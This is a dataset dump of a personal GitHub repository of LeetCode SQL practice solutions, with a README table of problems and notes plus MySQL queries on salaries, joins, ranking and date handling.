check the highest |\n| 183 | [Customers Who Never Order](https://leetcode.com/problems/customers-who-never-order/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/183_Customers_Who_Never_Order.py) | Easy | Not use IS NULL, IS NOT NULL in WEHRE clause, which can be slower |\n| 196 | [Delete_Duplicate_Emails](https://leetcode.com/problems/delete-duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/196_Delete_Duplicate_Emails.py) | Easy | MIN + GROUP BY, DELETE FROM|\n| 197 | [Rising Temperature](https://leetcode.com/problems/rising-temperature/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/197_Rising_Temperature.py) | Easy | TO_DAYS, subdate|\n| 1241 | [Number of Comments per Post](https://leetcode.com/problems/number-of-comments-per-post/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1241_Number_of_Comments_per_Post.py) | Easy | has to use IS NULL, IS NOT NULL in this case, IFNULL(cnt, 0) |\n| 1270 | [All People Report to the Given Manager](https://leetcode.com/problems/all-people-report-to-the-given-manager/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1270_All_People_Report_to_the_Given_Manager.py) | Medium | chain join and join... |\n| 618 | [Students Report By Geography](https://leetcode.com/problems/students-report-by-geography/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/618_Students_Report_By_Geography.py) | Hard | Why need those MAX ?? |\n| 597 | [Friend Requests 1: Overall Acceptance Rate](https://leetcode.com/problems/friend-requests-i-overall-acceptance-rate/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py) | Easy | IFNULL() |\n| 1341 | [Movie Rating](https://leetcode.com/problems/movie-rating/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1341_Movie_Rating.py) | Medium | created_at=\"2020-02-15\" to get Februrary substring(created_at,1,7)=\"2020-02\", UNION, AVG=SUM/COUNT, ORDER BY..DESC, LIMIT 1 |\n| 1142 | [User Activity for the Past 30 Days 2](https://leetcode.com/problems/user-activity-for-the-past-30-days-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1142_User_Activity_for_the_Past_30_Days_2.py) | Easy | IFNULL, ROUND, DITEDIFF(biggerDate, smallerDate)<30 |\n| 577 | [Employee Bonus](https://leetcode.com/problems/employee-bonus/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/577_employee_bonus.py) | Easy | Do not forget NULL |\n| 626 | [Exchange Seats](https://leetcode.com/problems/exchange-seats/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/626_Exchange_Seats.py) | Medium | IF statement, and MOD(%) |\n| 1312 | [Reported Posts 2](https://leetcode.com/problems/reported-posts-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1312_Reported_Posts_2.py) | Medium | LEFT JOIN, COUNT right part / COUNT left part, null would be counting as 0 |\n\n\n\n### Optimization Idea:\n1. Only select those columns that needed, when joining two tables, can first select sub-table for necessary columns. Eg. 175\n\n### Question:\n1. How to deal with date, Unix timestamps \n **created_at = \"2020-02-13\"** \n **substring(created_at, 1, 7)=\"2020-02\"** -> to get Februray data, but **substring(created_at,6,7)=\"02\" does not get correct \"02\"**, need more information about this... \n **Reason**: substring(created_at, 6, 2)=\"02\" should be the correct solution, as the 2 refers to the number of chars starting from position 6. BTW, the first char's index starting from 1, not 0.\n \n Reference:\n 1. Leetcode\n 2. SQL, create, read, update, delete:\n https://blog.csdn.net/woaidapaopao/article/details/78030449\n \n" }, { "alpha_fraction": 0.633952260017395, "alphanum_fraction": 0.7188329100608826, "avg_line_length": 18.842105865478516, "blob_id": "a62e69ae82f706c86e6b1800526474b42248276e", "content_id": "4dea7cd023cc891cbeb7231496c0d31aee82cf8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 377, "license_type": "no_license", "max_line_length": 41, "num_lines": 19, "path": "/SQL/180_Consecutive_Numbers.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# beat 50%\nSELECT DISTINCT l1.num AS ConsecutiveNums\nFROM Logs l1, Logs l2, Logs l3\nWHERE l1.Id = l2.Id - 1\nAND l2.Id = l3.Id - 1\nAND l1.num = l2.num\nAND l2.num = l3.num\n\n# beat 25%\nSELECT DISTINCT l1.Num AS ConsecutiveNums\nFROM Logs l1\nJOIN Logs l2\nON l1.Id=l2.Id-1\nJOIN Logs l3\nON l2.Id=l3.Id-1\nWHERE l1.Num=l2.Num\nAND l2.Num=l3.Num\n" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.765625, "avg_line_length": 35.71428680419922, "blob_id": "0495a2667ad1c7bdcb24ed62b0e3a496a499462e", "content_id": "dc42dd095d7efa7ea34aac188bc397de2617a2ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "no_license", "max_line_length": 75, "num_lines": 7, "path": "/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "SELECT IFNULL(ROUND(r.total_accept / f.total_send, 2), 0.00) AS accept_rate\nFROM\n(SELECT COUNT(DISTINCT sender_id, send_to_id) AS total_send\nFROM friend_request) f,\n\n(SELECT COUNT(DISTINCT requester_id, accepter_id) AS total_accept\nFROM request_accepted) r" }, { "alpha_fraction": 0.7542372941970825, "alphanum_fraction": 0.7740113139152527, "avg_line_length": 24.35714340209961, "blob_id": "496abbc499215933f8559e346c484c01718d96f6", "content_id": "a87b63fac89d4ece203c2fcf95fff36394ada9ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 354, "license_type": "no_license", "max_line_length": 68, "num_lines": 14, "path": "/SQL/1241_Number_of_Comments_per_Post.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\nSELECT s1.sub_id AS post_id, IFNULL(s2.cnt, 0) AS number_of_comments\nFROM\n(SELECT DISTINCT sub_id\nFROM Submissions\nWHERE parent_id IS NULL\n) s1\nLEFT JOIN\n(SELECT parent_id, COUNT(DISTINCT sub_id) AS cnt\nFROM Submissions\nWHERE parent_id is not NULL\nGROUP BY parent_id) s2\nON s1.sub_id=s2.parent_id\nORDER BY post_id" }, { "alpha_fraction": 0.7245206832885742, "alphanum_fraction": 0.7497477531433105, "avg_line_length": 28.147058486938477, "blob_id": "33b12095b656c90380cdb401003d20c805596ae4", "content_id": "7191a9bc0344e2ae99865d2cfd8ddf6fe9d868ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 991, "license_type": "no_license", "max_line_length": 128, "num_lines": 34, "path": "/SQL/184_Department_Highest_Salary.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# Method 0 - beat 50% - window function\nSELECT t.Department, t.Employee, t.Salary\nFROM\n(\nSELECT d.Name AS Department, e.Name AS Employee, e.Salary, RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\nFROM Employee e\nJOIN Department d\nON e.DepartmentId=d.Id\n) t\nWHERE rk=1\n\n\n# Method 1 - beat 50%, similar to 185, Department top3\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1\nJOIN Department d\nON e1.DepartmentId=d.Id\nWHERE 1=(SELECT COUNT(e2.Salary)\n FROM (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\n WHERE e1.DepartmentId=e2.DepartmentId AND e1.Salary<=e2.Salary\n )\n\n\n# Method 2 - beat 98% - more direct using max for the highest\nSELECT D.Name AS Department, E.Name AS Employee, E.Salary\nFROM Employee E\nINNER JOIN Department D\nON E.DepartmentId=D.Id\nWHERE (Salary, DepartmentId) IN\n(SELECT MAX(Salary) AS Salary, DepartmentId\nFROM Employee\nGROUP BY DepartmentId)\n" }, { "alpha_fraction": 0.703213632106781, "alphanum_fraction": 0.7599244117736816, "avg_line_length": 21.04166603088379, "blob_id": "1b8a073da5ce1d22590d2b32282e7687b789b1c9", "content_id": "1f2d75a5f5a4b72e34e37bd6be015247ef249cdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 529, "license_type": "no_license", "max_line_length": 56, "num_lines": 24, "path": "/SQL/181_Employees_Earning_More_Than_Their_Managers.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# Method 1 - use tmp table, beat 80%\nSELECT e1.Name AS Employee\nFROM Employee e1\nJOIN\n(SELECT Id, Salary\n FROM Employee) e2\nON e1.ManagerId = e2.Id\nWHERE e1.Salary>e2.Salary\n\n\n# Method 2 - Use entire table directly, beat 50%, slower\nSELECT e1.Name AS Employee\nFROM Employee e1, Employee e2\nWHERE e1.ManagerId=e2.Id\nAND e1.Salary>e2.Salary\n\n# Method3 - LEFT JOIN, beat 50%\nSELECT e1.Name AS Employee\nFROM Employee e1\nLEFT JOIN Employee e2\nON e1.ManagerId=e2.Id\nWHERE e1.Salary>e2.Salary\n" }, { "alpha_fraction": 0.6744604110717773, "alphanum_fraction": 0.7248201370239258, "avg_line_length": 21.239999771118164, "blob_id": "f71a412026a41153a0bfd447e2c19c86d224c089", "content_id": "974191d727d7d7414c3c89de693e10260937dc57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 556, "license_type": "no_license", "max_line_length": 115, "num_lines": 25, "path": "/SQL/262_Trips_and_Users.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\nSELECT t.Request_at AS \"Day\", ROUND(SUM(cancel) / SUM(total), 2) AS \"Cancellation Rate\"\n\nFROM\n(SELECT t1.Request_at,\n CASE WHEN t1.Status=\"cancelled_by_driver\" THEN 1 WHEN t1.status=\"cancelled_by_client\" THEN 1 ELSE 0 END AS cancel,\n 1 AS total\n\n FROM Trips t1\n\n WHERE t1.Client_Id IN\n (SELECT DISTINCT Users_Id\n FROM Users u\n WHERE u.Banned=\"No\")\n\nAND\nt1.Driver_Id IN\n(SELECT DISTINCT Users_Id\nFROM Users u\nWHERE u.Banned = \"No\")\n\nAND t1.Request_at BETWEEN '2013-10-01' AND '2013-10-03'\n) t\nGROUP BY t.Request_at\n" }, { "alpha_fraction": 0.6663244366645813, "alphanum_fraction": 0.6909651160240173, "avg_line_length": 23.350000381469727, "blob_id": "166f1385adac6466c8ccfcd729044727078192a3", "content_id": "90332764aac4d6a5453f9060387000c56c706574", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 974, "license_type": "no_license", "max_line_length": 107, "num_lines": 40, "path": "/SQL/177_Nth_Highest_Salary.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Method 1 - beat 45%\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\nSET N=N-1;\n RETURN (\n # Write your MySQL query statement below.\n SELECT DISTINCT(Salary)\n FROM Employee\n UNION\n SELECT NULL\n# GROUP BY can be faster than DISTINCT\n# GROUP BY Salary\n ORDER BY Salary DESC LIMIT N,1\n);\nEND\n\n# Method 2 - beat 20% - DENSE_RANK(), suitable for Nth, need to clarify if it is a DENSE_RANK() or a RANK()\n# DENSE_RANK(), 1,1,2,3,3,4...\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\n RETURN (\n SELECT MAX(Salary)\n FROM\n (SELECT Salary, DENSE_RANK() OVER (ORDER BY Salary DESC) AS rk\n FROM Employee\n ) e\n WHERE rk=N\n );\nEND\n\n# Method 3 - beat 10%\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\nBEGIN\n RETURN (\n # Write your MySQL query statement below.\nselect DISTINCT e1.salary\nFROM Employee e1\nWHERE N-1 = (SELECT COUNT(DISTINCT e2.Salary) FROM Employee e2 WHERE e1.Salary < e2.Salary)\n);\nEND\n" }, { "alpha_fraction": 0.6959999799728394, "alphanum_fraction": 0.7440000176429749, "avg_line_length": 19.83333396911621, "blob_id": "23cb447a3a998b2b4dc7b2e3e4436cd650d4037b", "content_id": "c17eb3b10d47de40412def0d269f4ece92ef6782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 125, "license_type": "no_license", "max_line_length": 37, "num_lines": 6, "path": "/SQL/577_employee_bonus.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# beat 28%\nSELECT e.name, b.bonus\nFROM Employee e\nLEFT JOIN Bonus b\nON e.empId=b.empId\nWHERE b.bonus<1000 or b.bonus is NULL\n" }, { "alpha_fraction": 0.7003366947174072, "alphanum_fraction": 0.752525269985199, "avg_line_length": 23.79166603088379, "blob_id": "2b32b6cd3e4445377be0058d8b78aadf64ac1807", "content_id": "a7dcbff6eddf8767745b8fd9751bf19f9fb6c668", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 56, "num_lines": 24, "path": "/SQL/1270_All_People_Report_to_the_Given_Manager.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Solution 1 - beat 65%\nselect\ne1.employee_id\nfrom employees e1\njoin employees e2 on e1.manager_id = e2.employee_id\njoin employees e3 on e2.manager_id = e3.employee_id\nwhere e3.manager_id = 1 and e1.employee_id != 1\n\n\n# Solution 2 - beat 15%\nselect\nt.employee_id\nfrom (\nselect\ne1.employee_id,\ne2.manager_id as direct_manager,\ne3.manager_id as indirect_manager\nfrom employees e1\nleft join employees e2 on e1.manager_id = e2.employee_id\nleft join employees e3 on e2.manager_id = e3.employee_id\n#order by e1.employee_id\n)t\nwhere t.indirect_manager = 1 and t.employee_id != 1\nORDER BY t.employee_id" }, { "alpha_fraction": 0.5773993730545044, "alphanum_fraction": 0.6068111658096313, "avg_line_length": 42.13333511352539, "blob_id": "1c0942bc004157f1af9986a4d2bc2eeb5c8ab7ea", "content_id": "4f034b033177005cbfac9d8bdf86f66e408ba42d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 646, "license_type": "no_license", "max_line_length": 72, "num_lines": 15, "path": "/SQL/618_Students_Report_By_Geography.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# beat 50%-80%\nSELECT MAX(America) AS America, MAX(Asia) as Asia, MAX(Europe) AS Europe\n#SELECT America, Asia, Europe\nFROM (\n SELECT\n CASE WHEN continent = 'America' THEN @r1 := @r1 + 1\n WHEN continent = 'Asia' THEN @r2 := @r2 + 1\n WHEN continent = 'Europe' THEN @r3 := @r3 + 1 END id,\n CASE WHEN continent = 'America' THEN name ELSE NULL END America,\n CASE WHEN continent = 'Asia' THEN name ELSE NULL END Asia,\n CASE WHEN continent = 'Europe' THEN name ELSE NULL END Europe\n FROM student, (SELECT @r1 := 0, @r2 := 0, @r3 := 0) AS ids\n ORDER BY name\n) AS tempTable\nGROUP BY id;" }, { "alpha_fraction": 0.7352941036224365, "alphanum_fraction": 0.7529411911964417, "avg_line_length": 23.35714340209961, "blob_id": "e5a26b0ec21fc92d2cec68b2ccb5f8214414f17c", "content_id": "4c0243f69ce6e7b5d11ced0e0ec72ef3af1d9026", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 340, "license_type": "no_license", "max_line_length": 58, "num_lines": 14, "path": "/SQL/175_Combine_Two_Tables.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Method 1 - beat 90% - select sub-table first before join\nSELECT p.FirstName, p.LastName,t.City, t.State\nFROM Person p\nLEFT JOIN\n(SELECT DISTINCT PersonId, City, State\nFROM Address) t\nON t.PersonId=p.PersonId\n\n\n# Method 2 - beat 50%\nSELECT p.FirstName, p.LastName, a.City, a.State\nFROM Person p\nLEFT JOIN Address a\nON p.PersonId=a.PersonId" }, { "alpha_fraction": 0.688524603843689, "alphanum_fraction": 0.7081966996192932, "avg_line_length": 22.461538314819336, "blob_id": "d7027138421ab2e2aedfa4b848fddfd9a4143f51", "content_id": "bb111dd304c5acd859a5dcf70d96e4395f369536", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 305, "license_type": "no_license", "max_line_length": 97, "num_lines": 13, "path": "/SQL/1312_Reported_Posts_2.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# beat 50%\nSELECT ROUND(AVG(cnt), 2) AS average_daily_percent \nFROM\n(\nSELECT (COUNT(DISTINCT r.post_id)/ COUNT(DISTINCT a.post_id))*100 AS cnt # This line is so neat\nFROM Actions a\n\nLEFT JOIN Removals r\n\nON a.post_id = r.post_id\n\nWHERE a.extra='spam' AND a.action = 'report'\nGROUP BY a.action_date )tmp\n" }, { "alpha_fraction": 0.695035457611084, "alphanum_fraction": 0.7151300311088562, "avg_line_length": 28.172412872314453, "blob_id": "9a6c90fff55bcbca162f235f0877d7224673a9ab", "content_id": "921ebbcd5231451a9b2b419383bb7b10a63f5512", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 846, "license_type": "no_license", "max_line_length": 82, "num_lines": 29, "path": "/SQL/176_Sencond_Highest_Salary.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Method 1 - beat 80%\n# UNION NULL directly to get NULL\nSELECT DISTINCT(Salary) AS SecondHighestSalary\nFROM Employee\nUNION\nSELECT NULL\nORDER BY SecondHighestSalary DESC\nLIMIT 1,1\n\n# Method 2 - RANK() window function - beat 10%, slower but suitable for Nth salary\n# Use MAX to return null if not exits.\nSELECT MAX(Salary) AS SecondHighestSalary\nFROM (\n SELECT Salary, RANK() OVER (ORDER BY Salary DESC) RN\n FROM Employee\n) A\nWHERE RN = 2\n\n# Method 3 - IFNULL\nSELECT IFNULL((SELECT DISTINCT Salary\n FROM Employee\n ORDER BY Salary DESC\n LIMIT 1,1) NULL) AS SecondHighestSalary\n\n# Method 4 - beat 50%, sometimes beat 90%..., but not suitable for Nth salary\n# max() will return NULL, if not exist\nSELECT max(Salary) as SecondHighestSalary\nFROM Employee\nWHERE Salary < (SELECT max(Salary) FROM Employee)\n" }, { "alpha_fraction": 0.7442922592163086, "alphanum_fraction": 0.7716894745826721, "avg_line_length": 22.105262756347656, "blob_id": "8ad24179874d6a87c44a6c72bbf67e2216c3a687", "content_id": "029bf1697256c4322c22f1de476b92ef4a0fc58b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 438, "license_type": "no_license", "max_line_length": 55, "num_lines": 19, "path": "/SQL/183_Customers_Who_Never_Order.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n# Method 1 - beat 98%\nSELECT Name AS Customers\nFROM Customers\nWHERE Id not in\n(SELECT DISTINCT CustomerId\nFROM Orders)\n\n# Method 2 - beat 36%\n# Not use IS NULL, IS NOT NULL in WHERE clause,\n# which is slow, as it can not use index when searching\nSELECT c1.Name AS Customers\nFROM Customers c1\nLEFT JOIN\n(SELECT DISTINCT CustomerId\nFROM Orders) c2\nON c1.Id=c2.CustomerId\nWHERE c2.CustomerId IS NULL" }, { "alpha_fraction": 0.7200000286102295, "alphanum_fraction": 0.7753846049308777, "avg_line_length": 24, "blob_id": "ac9f3ba9f648bff411b326acd26e03619fa36a17", "content_id": "6ed4f49ed0046dc841fa119c68750837bb7d3bc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "no_license", "max_line_length": 52, "num_lines": 13, "path": "/SQL/197_Rising_Temperature.py", "repo_name": "GuilinXie/LeetcodeSQL", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\n\n#Solution 1:\nSELECT w2.Id\nFROM Weather w1, Weather w2\nWHERE w1.Temperature < w2.Temperature\nAND TO_DAYS(w2.recordDate)-TO_DAYS(w1.recordDate)=1 \n\n# Solution 2:\nSELECT w2.Id \nFROM Weather w1, Weather w2\nWHERE subdate(w1.recordDate, 1)=w2.recordDate \nAND w1.Temperature>w2.Temperature\n" } ]
25
vadrahayu/server
https://github.com/vadrahayu/server
02ff2c8c02bdc038157a691db3b8d2f4d89d5070
3a908a32b712999aa0ec09450704166427d4457b
a189301e57c2cd77af022457c6757242fb67e3f9
refs/heads/master
2020-02-26T14:43:14.852414
2016-06-20T02:42:17
2016-06-20T02:42:17
61,512,043
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.733031690120697, "avg_line_length": 26.625, "blob_id": "97c744bd0793422f643416640402970b59df6246", "content_id": "c973ccd3eb560a7ff09d652e30450278d0ab0651", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 442, "license_type": "no_license", "max_line_length": 78, "num_lines": 16, "path": "/mysql_services.py", "repo_name": "vadrahayu/server", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$May 25, 2016 11:23:32 AM$\"\n\nfrom subprocess import call\n\n# restart mysql service\ncall(\"sudo service mysql restart\", shell=True)\n\n# restart lampp service\ncall(\"/opt/lampp/lampp restart\", shell=True)\n" }, { "alpha_fraction": 0.685352623462677, "alphanum_fraction": 0.7206148505210876, "avg_line_length": 30.628570556640625, "blob_id": "2e79378c63f32f3cda753046e4c4a0dae62869fe", "content_id": "bb14864fa1d0d7474ac9ed3a421923420370a597", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1106, "license_type": "no_license", "max_line_length": 88, "num_lines": 35, "path": "/solr_services.py", "repo_name": "vadrahayu/server", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$Apr 23, 2016 3:36:55 PM$\"\n\nfrom subprocess import call\n\n# shutdown solr service\ncall(\"bash /opt/hsolr/bin/shutdown.sh\", shell=True)\n\n# delete all file with pattern *.log at tomcat server\ncall(\"rm -f /opt/hsolr/tc/logs/*.log\", shell=True)\n\n# delete all file with pattern *.txt at tomcat server\ncall(\"rm -f /opt/hsolr/tc/logs/*.txt\", shell=True)\n\n# delete all file with pattern solr.log.* at tomcat server\ncall(\"rm -f /opt/hsolr/logs/solr.log.*\", shell=True)\n\n# init solr.log with empty content\ncall(\"echo \"\" > /opt/hsolr/logs/solr.log\", shell=True)\n\n# init catalina.out with empty content\ncall(\"echo \"\" > /opt/hsolr/tc/logs/catalina.out\", shell=True)\n\n# start solr service on port 8983\ncall(\"bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m\", shell=True)\nprint \"FINISHED\"\n\n\n#bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m" }, { "alpha_fraction": 0.6725000143051147, "alphanum_fraction": 0.7049999833106995, "avg_line_length": 29.769229888916016, "blob_id": "d13b3c93b5e3cc66f1821a19048c107e4b6bd6fd", "content_id": "3aca4dfb1045faf7ecfd2c52966176b873c1b0a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 78, "num_lines": 13, "path": "/cache_services.py", "repo_name": "vadrahayu/server", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$May 26, 2016 11:28:43 AM$\"\n\nfrom subprocess import call\n\n# clear cache memory\ncall(\"free && sync && echo 3 > /proc/sys/vm/drop_caches && free\", shell=True)\n" } ]
3
misingnoglic/Zaitlen_lab
https://github.com/misingnoglic/Zaitlen_lab
f0642e534141a5503ea9fec88ade020745d9e960
90fc6297c510066d9910d3e4fc29183f738d510e
1267f7344a8ecfb84db9d739a59f097fdca1cd29
refs/heads/master
2021-05-15T16:21:33.396659
2018-01-24T08:36:38
2018-01-24T08:36:38
107,451,991
0
0
null
2017-10-18T19:12:58
2017-08-31T23:04:52
2017-10-18T19:07:37
null
[ { "alpha_fraction": 0.6621160507202148, "alphanum_fraction": 0.6655290126800537, "avg_line_length": 29.894737243652344, "blob_id": "85fbbbdb90c5d9cce81ff2e2cd6971dc2c905ebe", "content_id": "532a3462f59a2ed745e75ddde4dae905f11c6a65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 586, "license_type": "no_license", "max_line_length": 109, "num_lines": 19, "path": "/reference_data/merge_chip_files.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom functools import reduce\n\n\nfile_list = [line.strip() for line in open(\"file_list.txt\", 'r')]\nfile_list = [file + \"_cleaned.txt\" for file in file_list]\n\ndf_names = [\"df_\" + str(i) for i in range(len(file_list))]\n\nfor i in range(len(df_names)):\n df_names[i] = pd.read_table(file_list[i])\n\nfor i in range(len(df_names)):\n df_names[i] = df_names[i].round(decimals=4)\n\n\ndf_final = reduce(lambda left, right: pd.merge(left, right, how='outer', on='!Sample_description'), df_names)\ndf_final = df_final.fillna(value=-1)\ndf_final.to_csv('test-merged.txt', sep=\"\\t\")" }, { "alpha_fraction": 0.608832836151123, "alphanum_fraction": 0.6230283975601196, "avg_line_length": 19.45161247253418, "blob_id": "3e48934ad79f7f0b4fe648a546a6a019207e05cd", "content_id": "de46c50bb84a772fc0c2129e5b4c10942d6ab588", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 634, "license_type": "no_license", "max_line_length": 98, "num_lines": 31, "path": "/reference_data/files_to_get.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "toget = open(\"files (1).txt\", \"r\")\ncurrent = open(\"currentlyhave.txt\", \"r\")\n\n# get_list = []\n# for i in current: \n# \tfor j in current: \n# \t\tif i not in j: \n# \t\t\tget_list.append()\n\ntoget_list = []\nfor line in toget:\n\tif \"fastq.gz\" in line:\n\t\ttoget_list.append(line[59:])\n\nprint(toget_list)\nprint(have_list)\n\ns1 = set(toget_list)\ns2 = set(have_list)\n\ndiff = s1.difference(s2)\n\nfile_names = [] \nfor item in diff: \n\tstring_to_write = \"https://www.encodeproject.org/files/\" + item[:11] + \"/\" +\"@@download/\" + item \n\tfile_names.append(string_to_write)\n\n\nwith open(\"toget_list.txt\", 'w') as f:\n for item in file_names:\n \tf.write(item)\n" }, { "alpha_fraction": 0.7076411843299866, "alphanum_fraction": 0.7109634280204773, "avg_line_length": 29.200000762939453, "blob_id": "f99fd2a678c51efa22e0b23d9139d089b3da537f", "content_id": "c8df4e76da2c38891a80ceb02232a40475b6f26a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 301, "license_type": "no_license", "max_line_length": 83, "num_lines": 10, "path": "/wgbs_primary_analysis/linecounts.py", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport glob\n\nfiles = glob.glob(\"*_BC_*/unsortedButMerged_ForBismark_file/*_unsorted_merged.bam\")\n\n\nwith open(\"linecounts.txt\", \"w\") as output_file:\n\tfor file in files:\n\t\tnum_lines = sum(1 for line in open(file))\n\t\tprint(file+\"\\t\"+str(num_lines), file=output_file)" }, { "alpha_fraction": 0.7290233969688416, "alphanum_fraction": 0.7524071335792542, "avg_line_length": 32, "blob_id": "383f169b301600b891e97431abf4fa9ef73fce72", "content_id": "42670c83366d9b6d6680e6dd3df77317a0e922a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 727, "license_type": "no_license", "max_line_length": 150, "num_lines": 22, "path": "/reference_data/model_methylation_data_stats.R", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# gathering some statistics/information about methylation data arrays \n# for python simulation \n# 30 aug 17\n# author <[email protected]> \n\nrm(list = ls())\n\n# data mentioned in refactor paper, accession number GSE35069, downloaded http manually \nreal_data = read.table(\"/Users/christacaggiano/Documents/UCSF year 1/Zaitlen-rotation1/GSE35069_Matrix_signal_intensities.txt\", sep=\"\\t\", header=TRUE)\n\n# selects only methylation info \nmethylation_data = real_data[ , c(FALSE,FALSE, TRUE) ]\n\n# takes the mean of all samples \ncolumn_means = colMeans(methylation_data)\n\n# reports statistics about each mean \nmean(column_means)\nmedian(column_means)\nsd(column_means)\n\nmax_value = max(apply(methylation_data, 2, function(x) max(x, na.rm = TRUE))) \n" }, { "alpha_fraction": 0.6401151418685913, "alphanum_fraction": 0.6549903750419617, "avg_line_length": 62.121212005615234, "blob_id": "018a4581bafcbe3acbc60aede4dbf8c8283c80e8", "content_id": "61dbcb83a4c6c31fdf386ceebc6f82810ede5290", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 2084, "license_type": "no_license", "max_line_length": 224, "num_lines": 33, "path": "/reference_data/annotate_cpgs.R", "repo_name": "misingnoglic/Zaitlen_lab", "src_encoding": "UTF-8", "text": "# adds chromosome location to cpg probes \n# selects tissues of interest in my reference set for ALS 